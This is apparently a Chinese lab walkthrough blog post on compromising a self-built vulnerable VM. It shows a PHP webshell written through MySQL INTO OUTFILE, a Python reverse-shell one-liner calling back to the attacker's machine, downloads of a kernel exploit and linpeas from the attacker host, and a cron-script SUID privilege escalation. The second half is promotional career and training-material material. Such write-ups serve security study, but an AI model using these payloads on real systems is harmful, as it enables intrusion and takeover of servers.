声明：本文仅用于技术讨论与研究，对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，本站及作者概不负责。
建议阅读上一篇后再来阅读本文！！！
六、Mysql攻陷服务器
1、mysql INTO OUT文件上传
MySQL中你可以使用SELECT…INTO OUTFILE语句来简单的导出数据到文本文件上。
1）INTO OUT 写入shell.php
mysql -uroot -pplbkac -h 192.168.40.152
select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
可看到利用INTO OUT特性写入了一句话并导入到本地站目录上！
2）查看是否写入成功
https://192.168.40.152:12380/blogblog/wp-content/uploads/
写入成功！
3）URL执行cmd命令
https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=id
可看到一句话成功写入，利用一句话特性执行了命令获得服务器信息回显！
2、一句话触发反弹shell
1）查看是否可以用Python写入一句话
https://192.168.40.152:12380/blogblog/wp-content/uploads/shell.php?cmd=which%20python
存在python模块！直接利用！
2）开启nc监听
nc -lvp 8887
本地kali开启好监听！
3）在cmd URL写入Python一句话，反弹shell到本地kali
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.149",8887));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹成功，获得shell
七、内网信息枚举
通过以上各种方法获取到服务器权限后，开启内部信息收集工作！将利用linpeas枚举脚本进行探测行为！
200多本网络安全系列电子书
网络安全标准题库资料
项目源码
网络安全基础入门、Linux、web安全、攻防方面的视频
网络安全学习路线图
1、Linpeas文件上传
开启Python http服务，上传linpeas.sh脚本对靶机进行信息收集：
python -m SimpleHTTPServer 8082
wget http://192.168.40.149:8082/linpeas.sh
成功上传！
2、赋权并执行脚本
chmod +x linpeas.sh
/linpeas.sh
赋权后执行该脚本，开始查看收集到的信息，筛查提炼！
3、内部信息收集筛查
1）发现版本信息
可以尝试内核提权！
2）发现用户信息枚举\
JKanode:x:1013:1013::/home/JKanode:/bin/bash
peter:x:1000:1000:Peter,,,:/home/peter:/bin/zsh
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
peter用户可利用sudo提权！
3）发现数据库信息泄露
之前已经查找到MySQL账户密码！内部也是能枚举到的！
4）发现可写入sh文件
可尝试写入sh文件，漏洞利用提权！
八、提权-三种方法
1、内核提权-方法1
1）kali搜索版本信息，是否存在漏洞
查找版本漏洞：
searchsploit Linux Kernel 4.4.x
可以利用linux/local/39772.txt！
2）39772利用
下载到本目录：
cp /usr/share/exploitdb/exploits/linux/local/39772.txt .
查看39772如何利用：
cat 39772.txt
提示需到exploit-DB下载39772.zip文件！
3）wget下载39772.zip
proxychains wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
成功下载！如果不行挂代理下载！
4）开启http服务，上传到项目
python -m SimpleHTTPServer 8085
wget http://10.211.55.19:8085/39772.zip
利用wget连接本地的http服务成功上传文件！
5）解压并枚举
unzip 39772.zip 解压39772.zip文件
cd 39772 到39772目录下
tar xvf exploit.tar 解压exploit.tar，发现ebpf_mapfd_doubleput_exploit目录
cd ebpf_mapfd_doubleput_exploit 到该目录下，发现compile.sh文件
chmod +x compile.sh 给sh文件赋权
通过zip解压后开始利用！
6）执行文件提权
./compile.sh 执行sh文件
ls 查看，发现是由gcc编译的.c文件
./doubleput 执行.c文件
成功拿到root权限！
2、SSH-sudo登录内核提权-方法2
利用ssh信息收集技巧查看信息！
1）枚举ssh信息
grep 指令用于查找内容包含指定的范本样式的文件，如果发现某文件的内容符合所指定的范本样式，预设 grep 指令会把含有范本样式的那一列显示出来。若不指定任何文件名称，或是所给予的文件名为 -，则 grep 指令会从标准输入设备读取数据。
grep -rn "ssh" ---枚举当前目录下存在ssh信息的内容
JKanode/.bash_history:6:sshpass -p thisimypassword ssh JKanode@localhost
JKanode/.bash_history:8:sshpass -p JZQuyIN5 peter@localhost
发现2个用户密码：
用户1：peter，密码：JZQuyIN5
用户2：JKanode 密码：thisimypassword
这时候利用账号密码尝试登录！
2）ssh登录用户
JKanode用户登录枚举：
ssh JKanode@192.168.40.152
thisimypassword
没什么信息！
peter用户登录枚举：
ssh peter@192.168.40.152
JZQuyIN5
登录进去发现这是zsh的shell！，并且可以sudo提权！
3）sudo提权
用户信息枚举就发现peter用户存在sudo提权漏洞，查看sudo给与的权限：
sudo -l
User peter may run the following commands on red:
(ALL : ALL) ALL
可看到给与的权限为ALL最高权限！直接sudo提权：
sudo su
成功提权root！
3、计划任务+可写文件提权-方法3
在内网信息枚举的时候发现可写入sh文件漏洞利用：
[+] .sh files in path
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
You can write script: /usr/local/sbin/cron-logrotate.sh
1）查找和logrotate相关的文件信息
利用find全局枚举该文件信息：
find / -name logrotate* 2>/dev/null
发现/etc/cron.d/logrotate文件！
2）查看/etc/cron.d/logrotate文件
cat /etc/cron.d/logrotate
*/5 * * * * root /usr/local/sbin/cron-logrotate.sh
可看到每五分钟运行一次cron-logrotate.sh！
3）写入dash代码
echo "cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit;chmod root:root /tmp/exploit" >> /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
通过写入代码内容为，复制dash到tmp目录下并赋予最高权限！在tmp目录下生成了exploit可执行文件！
4）运行exploit，获得root权限
/tmp/exploit -p
因为写入的是dash，用-p获取root
获得root权限！获得flag：
cd /root
cat flag.txt
获得flag信息！
九、知识拓展小技巧
smbclient连接共享小技巧
Linux smbclient命令可存取SMB/CIFS服务器的用户端程序。
SMB与CIFS为服务器通信协议，常用于Windows95/98/NT等系统。smbclient(samba client)可让Linux系统存取Windows系统所分享的资源。
smbclient -L //192.168.40.152
-L 显示服务器端所分享出来的所有资源
之前已知kathy和tmp是开放的！
1）连接这2个文件夹
连接kathy文件夹：
smbclient ///kathy -I 192.168.40.152 -N
-I<IP地址> 指定服务器的IP地址
-N 不用询问密码
cd kathy_stuff
get todo-list.txt
cd backup
get vsftpd.conf
get wordpress-4.tar.gz
通过命令连接后发现三个文件信息都成功下载！
连接tmp文件夹：
连接tmp文件夹，下载文件ls至本地
smbclient ///tmp -I 192.168.40.152 -N
get ls
通过命令连接后发现文件信息都成功下载！
2）枚举文件信息
成功下载4个文件后，通过阅读查看均无可用信息！
十、总结
通过以上的学习，我们认知了一些红队的小技巧的技术手段，完成了从信息收集到内核提权项目落地，学习到了非常多的技巧，例如nmap全端口信息枚举、FTP信息枚举、Samba信息收集、暴力破解ssh信息枚举、nc信息枚举666端口、枚举12380端口信息收集、Wpscan信息收集、39646 exp利用、Mysql信息枚举、John暴力破解、php-webshell文件上传利用、weevely文件上传利用、webacoo文件上传利用、Msfconsole文件上传上线webshell、mysql INTO OUT文件上传攻陷服务器、Linpeas信息枚举、内核提权、SSH-sudo登录内核提权、计划任务+可写文件提权等等，希望伙伴们能实际操作复现一遍！来巩固自身的渗透技术和技巧！
希望大家提高安全意识，没有网络安全就没有国家安全！
题外话
初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：
-
2023届全国高校毕业生预计达到1158万人，就业形势严峻；
-
国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。
6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。
具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高，涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！
2、人才缺口大，就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才 需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。
行业发展空间大，岗位非常多
网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。
从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。
（都打包成一块的了，不能一一展开，总共300多集）
因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取
3.技术文档和电子书
技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。
因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取
### 4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。
因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取
最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。
参考解析：深信服官网、奇安信官网、Freebuf、csdn等
内容特点：条理清晰，含图像化表示更加易懂。
内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取
2万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
